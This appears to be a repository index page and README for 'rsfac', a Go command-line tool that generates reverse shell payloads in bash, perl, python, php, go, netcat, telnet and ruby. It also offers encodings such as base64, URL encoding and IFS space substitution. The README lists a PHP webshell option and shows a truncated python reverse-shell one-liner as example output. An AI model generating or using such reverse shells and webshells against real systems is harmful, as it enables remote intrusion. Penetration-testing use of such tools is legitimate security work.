https://github.com/farinap5/rsfac
Reverse Shell Factory.
https://github.com/farinap5/rsfac
netcat-reverse pentest redteam-tools reverse-shell revese-shell-gen
Last synced: 5 months ago
JSON representation
Reverse Shell Factory.
- Host: GitHub
- URL: https://github.com/farinap5/rsfac
- Owner: farinap5
- License: mit
- Created: 2020-10-11T19:23:58.000Z (over 4 years ago)
- Default Branch: main
- Last Pushed: 2021-12-22T02:31:15.000Z (over 3 years ago)
- Last Synced: 2024-06-21T19:54:10.617Z (10 months ago)
- Topics: netcat-reverse, pentest, redteam-tools, reverse-shell, revese-shell-gen
- Language: Go
- Homepage:
- Size: 39.1 KB
- Stars: 8
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
rsfac
Reverse Shell Factory
It is simple to create many types of reverse shell by command line.
Golang
***
24 Payloads and Encoders options.
## Help Menu
```
REVERSE SHELL FACTORY 2.0COMMANDS DESCRIPTION
-------- -----------
-h Help Menu.
-host Local Host.
-port Local Port.
-p Payload.
-os Operating system.
-v Version of the payload
-e Encode.
-de Double encoding.LIST OF PAYLOADS
---- -- --------
-p
bash
default - Normal payload.
tiny - To put inside of bash files.
udp - UDP connection.
exec - Use function exec(). To put inside of bash files.perl
linux
default - Normal payload.
windows
default - Normal payload.py
linux
default - Normal payload.
pty - Auto spawn pty.
py3 - Python3.
windows
default - Normal payload.php
linux
default - Normal payload.
USED IN WEB PHP FILES:
exec-reverseshell - Function exec().
exec-reverseshell-full - With php header and footer.
system-reverseshell - Function system().
system-reverseshell-full - With php header and footer.
webshell - Simple web shell.go
linux
default - Normal payload for execution in command line.
tiny - Payload to put in files.nc
linux
default - Normal payload.
c - Shell command with bash as default.
e - Program to exec with bash as default.telnet
linux
default - Normal payload.ryby
linux
default - Normal payload.
windows
default - Normal payload.ENCODING OPTIONS
-------- -------
-e
-de
base64 - Normal Base64 encoding.
urle - URL Encoding.
ifs - Replace all spaces to Internal Field Separator.
```
## Usage Example```
go run rsfac.go -host 0.0.0.0 -port 6666 -p py -os windows
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('0.0.0.0', 6666)),....OR
go build rsfac.go
./rsfac -host 0.0.0.0 -port 6666 -p py -os windows
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('0.0.0.0', 6666)),....
```